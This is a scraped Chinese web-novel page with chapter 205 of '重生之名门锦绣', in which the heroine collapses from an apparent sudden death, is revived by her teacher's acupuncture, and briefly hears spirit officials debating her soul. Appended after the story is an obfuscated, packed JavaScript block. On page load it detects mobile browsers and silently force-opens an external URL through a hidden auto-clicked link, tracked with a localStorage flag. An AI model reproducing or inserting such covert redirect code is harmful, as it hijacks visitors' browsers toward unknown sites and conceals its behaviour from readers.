第五文学网 > 玄幻小说 > 重生之名门锦绣 > 205:猝死

    纳兰锦绣看着眼前人冷肃着的眉眼,有些陌生,又有些熟悉。陌生的是,这个人和她印象中的三哥,相距甚远。熟悉的是,这说话的语气以及周身的气场,同她记忆深处最害怕的那个人,一模一样。

    是的,纪泓烨很像宗玄奕。

    尤其是在他成为刑部尚书,又进了文渊阁之后,在权势的熏陶之下,他已经越来越像宗玄奕。更确切的来说,是像一个成功的权谋政客。他们冷血,霸道,要求别人完全且绝对的服从,如果那人的表现不合他的意,他便会施威打压。

    纳兰锦绣只觉得他刚刚那一声,带着讽刺的轻笑,在耳边不断重复回转。她甩了甩头,想把这种声音甩开,那声音却继续笑着,带着些危险的意味,并且离自己越来越近。她屏住呼吸,一直被她隐藏在内心最深处的那种恐惧,终于挣脱了钳固着它的牢笼出来了。

    她觉得自己好像又走了上一世的老路,爱上了一个权谋家。终有一天,她会为他的权利献祭。她似乎又看到了自己前面有一条深渊,她马上就要掉下去,万劫不复。

    她从指尖到心口都在颤抖。

    脑海里回响的都是那一声笑,还有那一句你没有别的选择才会嫁给我!

    有疼痛从指尖开始蔓延,渐渐延伸到四肢百骸。她的呼吸声越来越粗重,就仿佛有千斤重的石头压在胸口。心脏跳得很快,那种速度超出了她可以承受的范围,她心里忽然有一种不祥的感觉,是,心疾?

    她为不少患有心疾的病人诊治过,但自己却没有切身的经历。她占了徐锦笙的身体后,只觉得这具身子有些先天不足,不过只要她用心调养,也不会有什么问题的。她从来都没有想过,徐锦笙会是一个患有心疾的人。

    她用手紧紧的扣住胸口,精致的眉紧紧蹙在一起,她觉得整个世界都在翻江倒海,像是要塌陷一样。她想哭也哭不出,甚至一点声音都发不出来,然后,她眼前一黑就什么都不知道了……

    从纳兰锦绣脸色开始变得青白,到她晕倒的这一刻,她像经历了很久,而在纪泓烨眼里,似乎就是那么一瞬间的事儿。他先是看见她蹙了眉,然后捂了胸口,在他还没反应过来发生了什么的时候,她就晕倒了。

    纪泓烨一慌,伸手去抱她,却看见她一向柔嫩的唇,竟然漫开了青色。是,是一种死气蔓延在她脸上。他没有认错,他在刑部见过很多垂死的犯人,脸上就是她这副样子。

    “阿锦!”他厉声喊她,希望她能听到,能睁开眼睛看一看他,就像今晨,她在他身边醒来那般。

    纪小白本来离得他们不远,也知道两个人似乎在争吵,所以就没敢走近。直到听到纪泓烨喊的这一声,他才反应过来发生了什么。他大步跑到跟前,看见纪泓烨怀抱里的人,顿时如坠冰窟。他伸手去探她的鼻息,发现已经断了气,他支支吾吾地说出两个字:“死了。”

    死了?纪泓烨觉得仿佛有一道惊雷在自己的头顶炸开,他的耳朵里都是轰鸣声,一向平稳的手开始剧烈颤抖。他又低头看向纳兰锦绣,然后冲着纪小白大喊:“去把刚才那个姓曲的叫来!快点!”

    纪小白这才从僵硬中回过神,跑着去找曲清嘉了。曲清嘉也正好要出门,他认识纪小白是跟在纳兰锦绣身边的那个护卫。看见纪小白脸上一片灰色,又慌不择路的模样,终于收敛了笑意,蹙眉道:“你做什么?”

    纪小白一把握住他的手臂,语无伦次:“快点跟我走,我家姑娘,晕过去了,不是,是姑娘出事了。”

    他虽然说的不清不楚,但曲清嘉却已经过滤出了他话语中最重要的部分,看纪小白还慌着,训斥:“你倒是快点带我过去!”

    曲清嘉到的时候纪泓烨正紧紧抱着纳兰锦绣,他脸上有一丝懵懂的神情,似乎不清楚刚刚到底发生了什么。他只是对她有些灰心,只是有些生气罢了,他只是对她说了一句过分的话……

    他从来都是把她当成眼珠子一般护着,只对她说过这一句重话,她怎么就这样了?他忽然无比厌恶自己,为什么要对她那样。他们要回金陵了,她要嫁给他了,他们不是应该很幸福的么,怎么一转眼就变成这样了?

    曲清嘉目光触及到纳兰锦绣的脸,暗道了一句不好,他拿出随身携带的针包,先是刺了她的人中穴,然后是太阳穴和气海穴。

    纪泓烨看着银针一寸寸没入纳兰锦绣的皮肤,看着她了无生气的那张脸,觉得他的周围已经没有任何声音了。他就像进入了一个镜面的世界,被困在一方天地里,天似乎都沉了下来,马上就要压得他透不过气。

    时间不知过了多久,好像很长,又好像很短,似乎只有一瞬。

    “好了,没事了。”曲清嘉坐到地上,用衣袖擦了擦自己额头的汗。还好他内心足够坚定,不然指定要被这丫头吓死,真不知道自己当初是怎么想的,竟然选了这么个小弟子!

    “好了”两个字就像是寂静世界里传来的佛音,一下子把纪泓烨从那方天地里轰了出来。他颤抖着手去抱躺在地上的人,动作很轻很慢。他觉得自己手里捧着的这个人,好像特别脆弱,好像他一不小心,她就要消失在他的世界里了。所以,他得用心护着她。

    “我已经替她诊治过了,不是心疾,但她为什么会有这种状况,我目前也不清楚。”曲清嘉说到这里停顿了一下,又道:“也许是巧合,也许是她身上有什么隐疾,你以后一定要珍重她。因为我诊治不出来的病症,要么就是没病,要么就是不治之症!”

    纪泓烨正抱着纳兰锦绣往回走,听到曲清嘉的话,他脚步停顿了一下,低头看了看怀里的人,哑声道:“多谢。”往前走了两步,又停下脚步,对纪小白说:“把曲先生留下,我不放话,谁都不能带走他。”

    “那若是我自己要走呢?”曲清嘉问。

    “你走不了。”纪泓烨答。

    曲清嘉在他身后眸色渐深,这个人还真是不怎么讨喜。要不是他怀里的人是自己的小弟子,他指定要再封她两处穴道,让她昏迷个十天八天的,也好让这个人着急着急。

    不过,有件事他想不通,他这个小弟子刚才是怎么了?以他的医术,即便是治不了的绝症,也能诊出病因,而刚才他竟是一无所获。他有史以来终于第一次对自己产生了质疑,难道这世上真的有鬼怪和灵魂?不然他的小弟子而复生怎么解释?不对,她这应该叫做借尸还魂。

    曲清嘉眼角抽了抽,觉得自己的想法也是越来越不靠谱了。他是一名大夫,从来都没有信过这个,这简直就是颠覆了他的三观!他纠结了一会儿,最终还是决定放过这个问题,颠覆了就颠覆了,反正他还是要继续治病救人,也还要点拨他的小弟子。

    纳兰锦绣有一瞬间是从徐锦笙的身体里分.裂出来了。她觉得自己忽然没了重量,被风裹着转了两圈,然后就又被一双手扼住。那人的手劲儿极大,她被捏得很难受,可根本就连挣扎一下都做不到。

    那人阴森恐怖的声音回荡在天地间,又清晰又沉重,仿佛天地间只剩下这么一缕声音:“不知死活的东西,怎么又是你?”

    “大人,只有一条主魂,怎么办?”另一个声音显得细小了许多,有种漂浮不定的感觉。

    “怎么跑出来的?”

    “不知。”细小的那缕声音停顿了一下,又道:“怎么办?”

    “送回去,看看其他的魂和魄还在不在,若是不在,就给她捉回来补上。”

    纳兰锦绣觉得这声音有点熟悉,但在哪听过她确实是想不起来了。按理说这样的声音,她听过一次就不会忘,可偏偏脑子里就是一片空白。她心中有一个念头非常强烈,听这两人的对话应该是鬼差,难道说她又死了?

    如果说上一世的时候,她被一箭穿胸,死了还能解释得通。那她这一世呢?死得也未免有些太莫名其妙了!也许,徐锦笙真的是患有心疾,所以才会突然猝死。这般想来,她忽然就有些着急,她觉得自己还不想死,她有些话还没问三哥。

    一想到纪泓烨,她忽然就特别想哭,可她无力的发现,现在的她是没有眼泪的。然后就是那双制着她的手,强硬地把她塞进了一件东西里。这个过程有些疼,她勉强忍住,然后忽然就舒服了许多,她好像感觉自己又有了重量。

    她想睁开眼睛看看,自己是不是又回到了徐锦笙的身体里,奈何眼皮极重,她怎样都睁不开,只能放弃。然后就是人中处一阵疼,有人在用针扎她,她对这个感觉实在是再熟悉不过了。

    再然后,她就又没了知觉……


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))